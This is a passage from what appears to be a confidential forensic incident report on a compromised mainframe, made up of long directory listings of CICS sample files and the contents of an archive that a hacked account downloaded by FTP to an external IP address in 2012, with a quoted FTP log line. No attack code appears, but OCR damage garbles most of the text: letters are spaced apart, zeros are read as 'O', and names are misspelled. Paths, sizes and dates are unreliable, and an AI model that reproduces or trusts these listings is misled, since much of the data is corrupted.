h rwxr-xr-x O O 507700 O Oct 16 2007 /usr/l pp/cicsts/ci csts3 2/sa m p l es/webservi ces/ws b i n d/provider/ I B M/DFJ @ H 204 1 i n k  to 

/usr/ lpp/ci csts/ci csts32/samples/webservices/wsb i n d/provider/i n q u i reSi ng le .wsbi n d  

h rwxr-xr-x O O 507700 O Oct 16 2007 /usr/ lpp/ci csts/c icsts32/s a m p l es/webservi ces/ws b i n d/provider/ I B M/DFJ @ H 205 l i n k  to 

/u s r  / lpp/ c i ests/ c i csts32/sa mples/webservi ces/wsbi  n d/provi der/placeOrder.  w s b i  n d 

h rwxr-xr-x O O 507700 O Oct 16 2007 /us r/l pp/ci csts/cicsts3 2/sa m p l es/webservi ces/wsbin d/provi d e r/I B M/ D FJ @ H 2 14 1 i n k  to 

/usr/lpp/ci csts/c icsts32/s a m p l es/webservi ces/ws b i n d/provi der/i n q u i reCata l ogWra pper.ws b i n d  

h rwxr-xr-x O O 507700 O O c t  16 2007 /usr/l pp/ci csts/c icsts32/s a m p l es/webservices/wsb in d/provi d e r/I B M/DFJ @ H 2 1 5 1 i n k  to 

/u sr  / lpp/ ci csts/ ci csts3 2/ sa m p les/webservices/wsbi  n d/ prov i der / in  q u i reS i  ng l eWra pper .  w s bi  n d 

h rwxr-xr-x O O 507700 O Oct 16 2007 /us r/l pp/ci csts/ci csts3 2/sa m p l es/webservices/wsbi n d/provi der/I B M/DFJ @ H 2 1 6 1 i n k  to 

/u sr  /l  p p/ c i ests/ c i csts32/ sa mples/webservi ces/wsb i n  d/provi der l placeOrder W ra p per .  w s bi  n d 

d rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/webservices/wsb i n d/requester/ 

507700 3808 Oct 16 2007 /usr/l pp/ci csts/c icsts3 2/sa m ples/we bservi ces/wsbi nd/req u ester/d i spatc h0rder .ws b i n d  

507700 8 4 8 8  O c t  16 2007 /usr/ lpp/cicsts/c icsts32/sa m p l es/we bservi ces/wsbi nd/re q u ester/ i n q u i reCata logCi ient .  wsb i n d  

507700 8 4 3 2  O e t  16 2007 /usr/l pp/ci csts/ci csts3 2/sa m ples/we bservices/wsbi  nd/req u  ester  / i n q u i reSi ngleC i i e nt.ws b i n d  
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-rwxr-xr-x O O 

d rwxr-xr-x O O 

Report 

507700 6 184 Oct 16 2007 /usr/l pp/cicsts/cicsts32/s a m p l es/webservi ces/wsbi nd/req u est er/placeOrderCi ient.wsbi  n d  

507700 O Oct 1 6  2007 /usr/ lpp/ci csts/ci csts3 2/sa m p l es/we bservi ces/ws b i n d/req uester/ I B M/ 

h rwxr-xr-x O O 507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts32/sa m p l es/webservi ces/ws b i n d/requester/ I B M/DFJ @ H 206 I i n k  to 

/usr/l pp/ci csts/ci csts3 2/sa mples/webservi ces/wsb i n d/req u ester/d is patch0 rder.ws b i n d  

h rwxr-xr-x O O 507700 O O c t  16 2007 /usr/l pp/cicsts/c i csts32/s a m p l es/webservi ces/wsb i n d/req uester/I B M/DFJ @ H 2 1 7 1 i n k  to 

/usr/ lpp/ci csts/ci csts3 2/sa m p l e s/webservices/ws b i n d/req u ester/i n q u i reCata logC i i ent.wsb i n d  

h rwxr-xr-x O O 507700 O O ct 16 2007 /usr/ lpp/ci csts/c icsts32/s a m p l es/webservices/ws b i n d/req uester/ I B M/DFJ @ H 2 1 8 I i n k  to 

/usr/l pp/ci csts/ci csts32/s a m p l e s/webservi ces/ws b i n d/re q u ester/i n q u i reS ing leC i i ent.wsb i n d  

h rwxr-xr-x O O 507700 O O c t  16 2007 /usr/l pp/ci csts/c icsts32/s a m p l es/webservi ces/wsb i n d/req uester/I B M/DFJ @ H 2 1 9 1 i n k  to 

/usr/ lpp/cicsts/c icsts3 2/sa mples/webs ervi ces/ws b i n d/req u ester/p lace0rderC i ient.ws b i n d  

d rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

d rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

507700 O Oct 16 2007 /usr/l pp/ci csts/c icsts3 2/sa m p l es/webservi ces/wsdl/ 

507700 6927 Oct 16 2007 /usr/l pp/ci csts/ci csts32/s a m p l es/we bservi ces/wsdl/d is patch0rder .wsdl  

507700 22876 Oct 1 6  2007 /usr/l p p/ci csts/ci csts32/s a m p l es/w ebservi ces/wsdl/i n q u i reCata log.wsdl  

507700 149 1 1  Oct 16 2007 /usr/l p p/ci csts/cicsts3 2/sa m p l es/webservi ces/wsd l/i n q u i reCata l ogWra p per.wsdl  

507700 22845 Oct 16 2007 /usr/l p p/cicsts/c i csts32/s a m p l es/webservi ces/wsd l/i n q u i reS ing le .wsdl  

507700 12775 Oct 1 6  2007 /usr/l p p/ci csts/ci csts32/samples/webservi ces/wsdl/i n q u i re5i ngl eWra pper.wsdl 

507700 15032 Oct 1 6  2007 /usr/l p p/ci csts/c icsts3 2/sa m p l es/webservi ces/wsdl/place0rder.wsdl  

507700 9541 Oct 16 2007 /usr/ lpp/cicsts/cicsts3 2/sa m p l es/webservi ces/wsdl/p lace0rderWrapper.wsdl  

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/webservices/wsd i / I B M/ 

507700 O O et 1 6  2007 /usr/ lpp/cicsts/ci csts32/s a m p l es/webservices/wsdi/I BM/DFJ @ H 19 8 I i n k  to /usr/lpp/ci csts/ci csts32/sa m p l es/webservices/wsd l/d ispatc h0rder.wsdl  

507700 O Oct 16 2007 /usr/l pp/cicsts/ci csts3 2/sa m p l es/webservi ces/wsdi/ I BM/DFJ @ H 19 9 1 i n k  to /usr/l pp/c icsts/c icsts32/s a m p l es/webservi ces/wsd l/i n q u i reCata log.wsdl 

507700 O Oct 1 6  2007 /usr/l pp/ci csts/ci csts32/sa m p l es/webservi ces/wsdi/ IBM/DFJ @ H 200 l in k to /usr/ lpp/cic sts/cicsts32/s a m p l es/webservi ces/wsd l/i n q u i re5i ngle .ws d l  

507700 O Oct 16 2007 /usr/l pp/ci csts/ci csts3 2/sa m p l es/webservi ces/wsdi/ I B M/ D FJ @ H 20 1 1 i n k  to /usr/ lpp/cic sts/cicsts32/s a m p l es/webservi ces/wsdl/place0rder.wsdl  
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h rwxr-xr-x O O 507700 O Det 16 2007 /usr/l pp/ei ests/e i ests3 2/sa m p l es/webservi ees/wsdi/I BM/DFJ @ H 2 1 l l i n k  to /usr/ lpp/ei ests/eiests32/s a m p l es/webserviees/wsdl/i n q u i reCata l ogWra pper .ws d l  

h rwxr-xr-x O O 507700 O Det 16 2007 /usr/l pp/ci ests/ei ests32/s a m p l es/webserviees/wsd i/ IBM/DFJ @ H 2 1 2 1 i n k  to /us r/l pp/ei ests/ciests3 2/sa m p l es/webserviees/wsdl/i n q u i reS ing leWrapper.wsdl  

h rwxr-xr-x O O 507700 O Det 1 6  2007 /usr/l pp/ci ests/ei ests3 2/sa m p l es/webservi ees/wsd i/ IBM/DFJ @ H 2 1 3 1 i n k  to /usr/l pp/eie sts/eiests32/sa m p l es/webservi ees/wsd l/plaeeDrderW r a p per.wsdl  

d rwxr-xr-x O O 507700 O Det 16 2007 /usr/l pp/ci ests/ei ests32/s a m p l es/webserviees/J CL/ 

d rwxr-xr-x O O 507700 O Det 16 2007 /usr/l pp/ci ests/ei ests32/s a m p l es/webserviees/J C L/ IBM/ 

-rwxr-xr-x O O 507700 463 Det 16 2007 / us r/ lpp/ei ests/ei ests32/s a m p l es/we bserviees/J CL/ IBM/DFJ @ H 19 6  

-rwxr-xr-x O O 507700 6 7 1  Det 16 2007 /usr/l pp/eiests/ci ests3 2/sa m p l es/webservi ees/J C L/I BM/DFJ @ H 19 7  

h rwxr-xr-x O O 507700 O Det 16 2007 /usr/l pp/ei ests/e i ests32/s a m p l es/webservi ees/J CL/LS2WS l in k to /usr/ lpp/ei ests/ci ests3 2/s a m p l es/we bse rvi ees/J C L/ IBM/DFJ @ H 196 

h rwxr-xr-x O O 507700 O Det 16 2007 /usr/l pp/ci ests/eiests3 2/sa m p l es/webservi ees/J CL/WS2LS l i n k  to /usr/l pp/ei ests/c ies ts32/sa m p l es/we bse rviees/J C L/I BM/DFJ @ H 197 

d rwxr-xr-x O O 507700 O Det 16 2007 /usr/l pp/ei ests/e iests3 2/sa m p l es/ws-trust/ 

-rwxr-xr-x O O 

-rwxr-xr-x O O 

d rwxr-xr-x O O 

h rwxr-xr-x O O 

h rwxr-xr-x O O 

d rwxr-xr-x O O 

507700 4251 Det 16 2007 /usr/l pp/ciests/eiests32/s a m p l es/ws-trust/dfh$wbx2_transformati o n l .xsl 

507700 4251 Det 16 2007 /usr/l pp/ei ests/ci ests3 2/sa m p l es/ws-trust/dfh$wbx2_tra nsformat ion2 .xsl  

507700 O Det 16 2007 /usr/l pp/ei ests/e iests32/sa m p l es/ws -trust/ I B M/ 

507700 O Det 16 2007 /usr/l pp/ei ests/ei ests32/s a m p l es/ws-trust/I B M/DFJ @ H 232 l in k to /usr/l pp/ei ests/eiests3 2/sa m p l es/ws-tr ust/dfh$wbx2_tra nsformati o n l . xs l  

507700 O Det 16 2007 /usr/l pp/ei ests/ei ests3 2/sa m p l es/ws -trust/I B M/DFJ @ H 23 3 I i n k  to /usr/l pp/ciests/eiests32/s a m p l es/ws-trust/dfh$w bx2_tra nsformati on2.xs l  

507700 O F e  b 29 2008 /usr/l p p/eiests/ci ests32/J V M Profi les/ 
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Appendix O :  Content o f  archive file local.tgz from SYS3 

Th i s  i s  a fi l e l isti ng from the a rch ive fi l e  ca l l ed  " loca l . tgz" that was fou nd  l eft on SVS3.  The fi l e  was down loaded by the hacked user account N U S  on  the  201h 

of Ma rch 2012 to the desti n at ion l P  add ress 93 . 186. 170.54. Th i s  ca n be seen i n  the extract from the FTP l ogs for SVS3 

2012-03-20;09.00.00;2012-03-20-

09 .56 .50 . 180000;<CS>U N KN OWN;SYS3; ; 192 . 16. 143 . 2 ; 2l; ; ; RETR;sEQ; N US; I ;S ;F ;H ;08 .56 .26;08 .56 .49;35881000;S; ; ; ; FTPDl; DAFAS;93 . 186. 170 .54;34614; 

/tmp/.,/loca l .tgz 

Figure 101 Log extract from FTP DOWN LOAD of fi le " loca l .tgz" 

Th i s  is the content of that fi l e, when we I i sted it ou rse lf :  

d rwxr-xr-x O O l O Oct 30 2005 /usr/loca l/ 

d rwxr-xr-x O O l O Ma r  14 2003 /usr/loca l/a rch ive/ 

d rwxr-xr-x O O l O Ma r  14 2003 /usr/loca l/a rch ive/Gzi p/ 

d rwxr-xr-x O O l O Ma r  14 2003 /usr/loca l/a rch ive/OpenSSH/ 

d rwxr-xr-x O O l O Ma r  14 2003 /usr/loca l/a rch ive/OpenSSL/ 

d rwxr-xr-x O O l O Ma r  14 2003 /usr/loca l/a rch ive/Perl/ 

d rwxr-xr-x O O l O Ma r  14 2003 /usr/ loca l/a rch ive/Z i i b/ 
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d rwxr-xr-x O O 1 O Ma r  11  2003 /usr/loca l/b i n/ 

-rwxr-xr-x O O 1 233472 May 19 2000 /usr/l oca l/b i n/a2p  

-rwxr-xr-x O O 1 77824 May 19 2000 /usr/loca l/b i n/b2m 

-rwxr-xr-x O O 1 3654 Feb 21  2003 /usr/ loca l/bi n/c rehash  

-rwxr-xr-x O O 1 45 May 19 2000 /usr/loca l/bi n/cppstd i n  

-rwxr-xr-x O O 1 266240 May 19 2000 /usr/local/bi n/ctags 

-rwxr-xr-x O O 1 36356 May 19 2000 /usr/ loca l/bi n/c2ph 

-rw-r--r-- O O 1 8060928 May 19 2000 /usr/loca l/bi n/emacs 

-rw-r--r-- O O 1 8060928 May 19 2000 /usr/ loca l/b i n/emacs-19 .34 

-rwxr-xr-x O O 1 61440 May 19 2000 /usr/loca l/b i n/emacscl ient  

-rwxr-xr-x O O 1 356352 May 19 2000 /usr/loca l/bi n/etags 

-rwxr-xr-x O O 1 12256 May 19 2000 /usr/ loca l/b i n/fi nd2per l  

-rwxr-xr-x O O 1 331776 May 22 2002 /usr/ loca l/bi n/gz i p  

-rwxr-xr-x O O 1 7362 May 19 2000 /usr/loca l/b i n/h2ph 

-rwxr-xr-x O O 1 21526 May 19 2000 /usr/loca l/b in/h2xs 

-rwxr-xr-x O O 1 651264 Oct 2 1  1997 /usr/loca l/b i n/m4 

-rwxr-xr-x O O 1 5660672 Feb 2 1  2003 /usr/loca l/b i n/openss l  

- rwxr-xr-x O O 1 2088960 May 19 2000 /usr/loca l/bi n/pe rl 
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- rwxr-xr-x O O 1 282 15 May 19 2000 /usr/loca l/bi n/per lbug 

-rwxr-xr-x O O 1 11322 May 19 2000 /usr/loca l/b i n/per ldoc 

-rwxr-xr-x O O 1 2088960 May 19 2000 /usr/loca l/b i n/perl 5 . 00403 

-rwxr-xr-x O O 1 4232 May 19 2000 /usr/ loca l/b in/p l 2pm 

-rwxr-xr-x O O 1 2341 May 19 2000 /usr/loca l/bi n/pod2htm l 

- rwxr-xr-x O O 1 22312 May 19 2000 /usr/ loca l/bi n/pod2 1 atex 

-rwxr-xr-x O O 1 28442 May 19 2000 /usr/ loca l/b i n/pod2man  

-rwxr-xr-x O O 1 180 May 19 2000 /usr/loca l/b in/pod2text 

- rwxr-xr-x O O 1 36356 May 19 2000 /usr/loca l/bi n/pstruct 

- rwxr-xr-x O O 1 3 145 May 19 2000 /usr/loca l/bi n/rcs-checki n 

-rwxr-xr-x O O 1 372736 Feb 22 2003 /usr/ loca l/bi n/scp 

- rwxr-xr-x O O 1 888832 Feb 22  2003 /usr/loca l/bi n/sftp 

- rwxr-xr-x O O 1 13923 May 19 2000 /usr/ loca l/b i n/sp l a i n  

- rwxr-xr-t O O 1 6070272 Feb 22 2003 /usr/ loca l/bi n/ssh 

- rwxr-xr-x O O 1 3911680 Feb 22 2003 /usr/ local/bi n/ssh-add 

-rwxr-xr-x O O 1 3588096 Feb 22 2003 /usr/loca l/bi n/ssh -agent 

-rwxr-xr-x O O 1 3899392 Feb 22  2003 /usr/ loca l/b i n/ssh -keygen 

- rwxr-xr-x O O 1 3497984 Feb 22  2003 /usr/loca l/b i n/ssh -keysca n 
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- rwxr-xr-x O O l 14991 May 19 2000 /usr/ loca l/bi n/s2p 

d rwxr-xr-x O O l O May 19 2000 /usr/loca l/com/ 

d rwxr-xr-x O O l O Apr 28 1999 /usr/loca l/com/emacs/ 

d rwxr-xr-x O O l O Apr 28 1999 /usr/ loca l/com/emacs/lock/ 

d rwxr-xr-x O O 2 138400 O J a n  11 2010 /usr/loca l/d i rxm l/ 

d rwxr-x--- O O 2138400 O J a n  11 2010 /usr/loca l/d i rxm l/cert/ 

-rw-r--r-- O O 2138400 261610413 Feb 12 01 : 29 /usr/loca l/d i rxml/d i rxm l . l og 

-rwxr-xr-x O O 2138400 1610 Oct 7 2005 /usr/loca l/d i rxm l/d i rxm ljremote 

d rwxr-xr-x O O 2 138400 O J u l  6 2005 /usr/ loca l/d i rxm l/doc/ 

- rw-r--r-- O 7314 2 138400 279 May 19 2006 /usr/ loca l/d i rxm l/d pwd lf40 

-rw-r-- r-- O O 2138400 33759 Apr 3 2007 /usr/loca l/d i rxm l/ka l le . l og 

d rwxrwxrwx O O 2138400 

d rwxr-xr-x O 7314 2138400 

O Oct 7 2005 /usr/ loca l/d i rxml/l i b/ 

O Mar  20 03 :01  /usr/ loca l/d i rxm l/log/ 

-rw-r-- r-- O O 2138400 

-rw-r-- r-- O O 2138400 

-rw-r--r-- O O 2138400 

-rw-r--r-- O O 2138400 

-rw-r--r-- O O 2138400 

8039 Ma r  20 07 :00 /usr/loca l/d i rxm l/log/trace8000_ss l . l og 

104893 Ma r  20 03 :01  /usr/loca l/d i rxm l/log/trace8000_ss l_l . l og 

104882 Ma r  12 2 1 :33  /usr/ loca l/d i rxm l/log/trace8000_ss l_2 . 1 og 

104893 Ma r  8 07 :00 /usr/ loca l/d i rxm l/log/trace8000_ssl_3 . 1 og 

104878 Ma r  3 03 :00 /usr/loca l/d i rxm l/log/trace8000_ssl_ 4 . 1 og 
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-rw-r--r-- O O 2138400 104g07 Feb 27 10:42 /usr/ loca l/d i rxm l/log/trace8000_ss l_5 . 1 og 

-rw-r--r-- O O 2138400 104877 Feb 20 03 :01  /usr/loca l/d i rxm l/log/trace8000_ssl_6 . 1 og 

-rw-r--r-- O O 2138400 104660 Fe b 14 07:00 /usr/loca l/d i rxm l/log/trace8000_ss1_7 . l og 

- rw-r--r-- O O 2138400 104886 Feb 12 01 :2g  /usr/loca l/d i rxm l/log/trace8000_ss l_8 . 1 og 

- rw-r-- r-- O O 2138400 104873 Feb 12 01 :2g  /usr/loca l/d i rxm l/log/trace8000_ssl_g . l og 

-rw-r--r-- O 7314 2 138400 20 May 1g 2006 /usr/loca l/d i rxm l/l pwd 1f40 

-rwxrwxrwx O O 2138400 126 Oct 7 2005 /usr/loca l/d i rxm l/sta rt 

-rw-r--r-- O 7314 2 138400 81 May 1g 2006 /usr/loca l/d i rxm l/tcn 

Report 

- rwxr-- r-- O 73 14 2138400 1654 J a n  11 2010 /usr/ loca l/d i rxmi/PROD_Skatteve rketTru stedCA.j ks 

-rwxr--r-- O 73 14 2138400 6g8 May 10 2006 /usr/loca l/d i rxm i/PROD _SkatteverketTrustedCA.j ks . d 100108 

-rwxrwxrwx O O 2 138400 112 Sep 8 2005 /usr/loca l/d i rxmi/START 

d rwxr-xr-x O O 1 

-rw-r-- r-- O O 1 

-rw-r--r-- O O 1 

- rw-r--r-- O O 1 

-rw-r-- r-- O O 1 

-rw-r--r-- O O 1 

- rw-r-- r-- O O 1 

O May 12 2004 /usr/loca l/etc/ 

1703 May 10 2004 /usr/loca l/etc/i n put_test 

35 May 12 2004 /usr/ loca l/etc/i n put_test2 

26287 Sep g 2002 /usr/loca l/etc/mod u l i  

1 1 14 Ma r  1 1  2003 /usr/loca l/etc/ssh_config 

1048 Sep g 2002 /usr/ loca l/etc/ssh_config .org 

1554 May 18 2004 /usr/loca l/etc/ssh_prng_cmds 
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-rw-r-- r-- O O l 

-rw-r-- r-- O O l 

-rw-r--r-- O O l 

-rw-r-- r-- O O l 

d rwxr-xr-x O O l 

d rwxr-xr-x O O l 

-rw-r--r-- O O l 

-rw-r-- r-- O O l 

-rw-r--r-- O O l 

-rw-r-- r-- O O l 

-rw-r-- r-- O O l 

-rw-r-- r-- O O l 

-rw-r-- r-- O O l 

-rw-r--r-- O O l 

-rw-r-- r-- O O l 

-rw-r-- r-- O O l 

-rw-r--r-- O O l 

-rw-r-- r-- O O l 

1744 May 12 2004 /usr/loca l/etc/ssh_prng_cmds . BAF 

1814 Apr 22  2004 /usr/ loca l/etc/ssh_prng_cmds . NYA 

1713 Apr 26 2004 /usr/ loca l/etc/ssh_prng_cmds .ORG 

1847 J a n  8 2003 /usr/loca l/etc/sshd_config 

O Ma r  11 2003 /usr/ loca l/i nc l ude/ 

O Ma r  1 1  2003 /usr/loca l/ i nc l ude/openss l/ 

4281 Feb 21 2003 /usr/ loca l/i nc l ude/openss l/aes . h  

402 14 Feb  2 1  2003 /usr/loca l/i nc l ude/openss l/asn l . h  

18383 Feb  2 1  2003 /usr/ loca l/i nc l ude/openss l/asn l_mac. h 

26671 Feb 2 1  2003 /usr/loca l/i ncl ude/openss l/asn lt . h  

27558 Feb 21  2003 /usr/ loca l/i nc l ude/openssl/b i o . h  

5073 Feb  2 1  2003 /usr/loca l/ i nc l ude/openss l/blowfi s h . h  

20274 Feb 2 1  2003 /usr/loca l/i nc l ude/openss l/bn . h  

4229 F e b  2 1  2003 /usr/loca l/i nc l ude/openss l/buffer. h  

4315 Feb 2 1  2003 /usr/loca l/i nc l ude/openss l/cast. h 

1267 Feb 2 1  2003 /usr/ loca l/i nc l ude/openss l/comp . h  

9372 Feb  2 1  2003 /usr/ loca l/i nc l ude/openss l/conf. h 

4080 Feb 2 1  2003 /usr/loca l/i nc l ude/openss l/conf_a p i . h  
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- rw-r-- r-- O O 1 

-rw-r--r-- O O 1 

-rw-r-- r-- O O 1 

- rw-r--r-- O O 1 

- rw-r--r-- O O 1 

- rw-r-- r-- O O 1 

- rw-r--r-- O O 1 

- rw-r-- r-- O O 1 

-rw-r--r-- O O 1 

- rw-r-- r-- O O 1 

-rw-r--r-- O O 1 

- rw-r--r-- O O 1 

- rw-r-- r-- O O 1 

- rw-r-- r-- O O 1 

- rw-r-- r-- O O 1 

-rw-r-- r-- O O 1 

- rw-r--r-- O O 1 

-rw-r--r-- O O 1 

18396 Feb 2 1  2003 /usr/ loca l/i nc l ude/openss l/crypto . h  

10508 Feb 2 1  2003 /usr/ loca l/i nc l ude/openss l/des . h  

18221  F eb  2 1  2003 /usr/ loca l/i nc l ude/openss l/des_o l d . h  

7260 Feb  21  2003 /usr/loca l/i nc l ude/openss l/d h . h  

9 153 F e b  2 1  2003 /usr/ loca l/i nc l ude/openss l/dsa . h  

13871 F e b  2 1  2003 /usr/ loca l/i nc l ude/openss l/dso . h  

9390 F e b  21  2003 /usr/loca l/i nc l ude/openss l/e_os2 . h  

540 F eb  2 1  2003 /usr/ loca l/i nc l ude/openss l/ebcd i c . h  

9740 Feb 2 1  2003 /usr/loca l/i nc l ude/openss l/ec. h 

35058 Feb 2 1  2003 /usr/loca l/i nc l ude/openssl/engi ne . h  

11800 Feb  2 1  2003 /usr/ loca l/i nc l ude/openss l/err . h 

3 1349 Feb 21  2003 /usr/loca l/i nc l ude/openss l/evp. h 

4297 Feb 21  2003 /usr/ loca l/i nc l ude/openss l/hmac . h 

4340 Feb 2 1  2003 /usr/ loca l/i nc l ude/openss l/idea . h  

7636 Feb 2 1  2003 /usr/loca l/i nc l ude/openss l/krb5_asn . h 

5873 Feb 2 1  2003 /usr/ loca l/i nc l ude/openss l/kss l . h  

7450 Feb 21  2003 /usr/ loca l/inc l ude/openss l/l hash . h  

3859 Feb 2 1  2003 /usr/local/ i nc l ude/openss l/mdc2 . h  
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- rw-r--r-- O O 1 

-rw-r--r-- O O 1 

- rw-r--r-- O O 1 

- rw-r--r-- O O 1 

- rw-r-- r-- O O 1 

- rw-r-- r-- O O 1 

- rw-r--r-- O O 1 

- rw-r-- r-- O O 1 

-rw-r--r-- O O 1 

- rw-r--r-- O O 1 

- rw-r-- r-- O O 1 

- rw-r--r-- O O 1 

- rw-r--r-- O O 1 

- rw-r-- r-- O O 1 

-rw-r--r-- O O 1 

- rw-r-- r-- O O 1 

- rw-r--r-- O O 1 

- rw-r-- r-- O O 1 

3866 Feb 2 1  2003 /usr/loca l/ inc l ude/openss l/md2 . h  

4646 Feb  2 1  2003 /usr/loca l/inc l ude/openss l/md4. h 

4645 Feb 2 1  2003 /usr/loca l/i nc l ude/openss l/md5 . h  

95455 Feb  2 1  2003 /usr/loca l/i nc l ude/openss l/obj_mac. h 

33095 Feb 2 1  2003 /usr/loca l/i nc l ude/openss l/objects . h  

23830 Feb 21  2003 /usr/loca l/i ncl ude/openss l/ocsp . h  

5281  Feb 2 1  2003 /usr/loca l/inc l ude/openss l/openss lconf. h 

3655 Feb 2 1  2003 /usr/loca l/inc l ude/openss l/openss lv . h 

4911  Feb 2 1  2003 /usr/l oca l/i nc l ude/openss l/oss l_typ . h  

246 18 Feb 21  2003 /usr/loca l/i nc l ude/openss l/pem . h  

2863 Feb 2 1  2003 /usr/loca l/i nc l ude/openss l/pem2 . h 

12080 Feb 21  2003 /usr/loca l/i nc l ude/openss l/pkcs12 . h  

15730 Feb 21  2003 /usr/ loca l/i nc l ude/openssl/pkcs7 . h  

5088 Feb 2 1  2003 /usr/ local/ i nc l ude/openss l/ra nd . h  

4278 Feb  21  2003 /usr/loca l/i nc l ude/openss l/rc2 . h  

3692 F e b  2 1  2003 /usr/l oca l/i nc l ude/openss l/rc4 . h 

4661 Feb 2 1  2003 /usr/ local/ i nc l ude/openss l/rc5 . h  

4267 Feb 21  2003 /usr/ loca l/i nc l ude/o penss l/ri pemd . h 
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-rw-r--r-- O O l 

-rw-r-- r-- O O l 

-rw-r--r-- O O l 

-rw-r--r-- O O l 

-rw-r--r-- O O l 

-rw-r--r-- O O l 

-rw-r-- r-- O O l 

-rw-r--r-- O O l 

-rw-r--r-- O O l 

-rw-r-- r-- O O l 

-rw-r--r-- O O l 

-rw-r-- r-- O O l 

-rw-r-- r-- O O l 

-rw-r--r-- O O l 

-rw-r--r-- O O l 

-rw-r-- r-- O O l 

-rw-r--r-- O O l 

-rw-r-- r-- O O l 

13637 Feb 2 1  2003 /usr/loca l/i nc l ude/openss l/rsa . h  

101158 Feb 2 1  2003 /usr/ loca l/i nc l ude/openss l/safestack . h 

4944 Feb 21  2003 /usr/loca l/i nc l ude/openss l/sha . h 

74411  Feb 2 1  2003 /usr/loca l/i nc l ude/openss l/ss l . h  

107 16 F e b  2 1  2003 /usr/loca l/i nc l ude/openss l/ss 1 2 . h  

3744 Feb 2 1  2003 /usr/ loca l/i nc l ude/openss l/ss l 23 . h 

20937 Feb 2 1  2003 /usr/ loca l/i nc l ude/openss l/ss l 3 . h 

4345 Feb 21  2003 /usr/ loca l/inc l ude/openss l/stack . h 

13331  Feb 2 1  2003 /usr/ loca l/i nc l ude/openss l/symhacks . h  

9 141 Feb  2 1  2003 /usr/loca l/i nc l ude/openss l/t l sl . h 

3552 Feb 2 1  2003 /usr/loca l/i nc l ude/openss l/tmdiff. h 

4253 Feb 2 1  2003 /usr/ loca l/i nc l ude/openss l/txt_d b . h  

16892 Feb  2 1  2003 /usr/ loca l/i nc l ude/openss l/u i . h  

3439 F e b  2 1  2003 /usr/loca l/i nc l ude/openss l/u i_compat . h 

44937 Feb 21  2003 /usr/loca l/i nc l ude/openss l/x509 . h  

16120 Feb 21  2003 /usr/loca l/i nc l ude/openss l/x509_vfy. h 

22000 Feb 2 1  2003 /usr/loca l/i nc l ude/openss l/x509v3 . h  

7810 J a n  9 2002 /usr/loca l/i nc l ude/zconf. h 
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- rw-r--r-- O O l 40898 J a n  9 2002 /usr/local/ i nc l ude/z l i b . h  

d rwxr-xr-x O O l O May 19 2000 /usr/loca l/i nfo/ 

- rw-r-- r-- O O l 1495 May 19 2000 /usr/loca l/i nfo/ccmode 

-rw-r-- r-- O O l 47440 May 19 2000 /usr/loca l/i nfo/ccmode-1 

-rw-r--r-- O O l 493 18 May 19 2000 /usr/ loca l/i nfo/ccmode-2 

-rw-r--r-- O O l 2984 May 19 2000 /usr/loca l/i nfo/c l 

- rw-r-- r-- O O l 46643 May 19 2000 /usr/loca l/i nfo/c l -1  

- rw-r-- r-- O O l 44535 May 19 2000 /usr/loca l/i nfo/c l -2  

- rw-r--r-- O O l 507 15 May 19 2000 /usr/local/ i nfo/c l -3 

- rw-r-- r-- O O l 45 198 May 19 2000 /usr/loca l/i nfo/cl -4 

-rw-r-- r-- O O l 43968 May 19 2000 /usr/loca l/i nfo/c l -5 

-rw-r--r-- O O l 13377 May 19 2000 /usr/loca l/i nfo/c l -6 

- rw-r-- r-- O O l 1435 May 19 2000 /usr/loca l/i nfo/d i r  

- rw-r--r-- O O l 46508 May 19 2000 /usr/loca l/i nfo/d i red-x 

- rw-r-- r-- O O l 1 135 May 19 2000 /usr/ loca l/i nfo/ed iff 

- rw-r-- r-- O O l 48394 May 19 2000 /usr/ l oca l/i nfo/ed iff-1 

- rw-r--r-- O O l 32647 May 19 2000 /usr/l oca l/i nfo/ed iff-2 

- rw-r-- r-- O O l 13307 May 19 2000 /usr/local/ i nfo/emacs 

Strict ly confidenti a l  l Bus iness Secret l 



Sidan 296 av 574 

Report 

-rw-r--r-- O O l 31009 May 19 2000 /usr/loca l/i nfo/emacs-1  

-rw-r-- r-- O O l 49480 May 19 2000 /usr/loca l/i nfo/emacs-10 

-rw-r--r-- O O l 49263 May 19 2000 /usr/ loca l/i nfo/emacs-11  

-rw-r--r-- O O l 49659 May 19 2000 /usr/ local/ i nfo/emacs-12 

-rw-r--r-- O O l 49380 May 19 2000 /usr/loca l/ i nfo/emacs-13 

-rw-r--r-- O O l 48932 May 19 2000 /usr/local/ i nfo/emacs-14 

-rw-r--r-- O O l 49973 May 19 2000 /usr/loca l/i nfo/emacs-15 

-rw-r--r-- O O l 49659 May 19 2000 /usr/loca l/i nfo/emacs-16 

-rw-r--r-- O O l 46932 May 19 2000 /usr/ loca l/i nfo/emacs-17 

- rw-r-- r-- O O l 44806 May 19 2000 /usr/loca l/i nfo/emacs-18 

-rw-r-- r-- O O l 49751  May 19 2000 /usr/ loca l/i nfo/emacs-19 

-rw-r-- r-- O O l 46876 May 19 2000 /usr/ loca l/i nfo/emacs-2 

-rw-r--r-- O O l 47869 May 19 2000 /usr/ local/ i nfo/emacs-20 

-rw-r-- r-- O O l 48688 May 19 2000 /usr/loca l/i nfo/emacs-21 

-rw-r--r-- O O l 49969 May 19 2000 /usr/ loca l/i nfo/emacs-22 

-rw-r--r-- O O l 31110 May 19 2000 /usr/ local/ i nfo/emacs-23 

-rw-r--r-- O O l 39324 May 19 2000 /usr/loca l/i nfo/emacs-24 

-rw-r--r-- O O l 21556 May 19 2000 /usr/ local/ i nfo/emacs-25 
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-rw-r-- r-- O O 1 32882 May 19 2000 /usr/local/ i nfo/emacs-26 

-rw-r--r-- O O 1 49148 May 19 2000 /usr/loca l/i nfo/emacs-27 

-rw-r-- r-- O O 1 19581 May 19 2000 /usr/loca l/i nfo/emacs-28 

- rw-r--r-- O O 1 35900 May 19 2000 /usr/ loca l/i nfo/emacs-29 

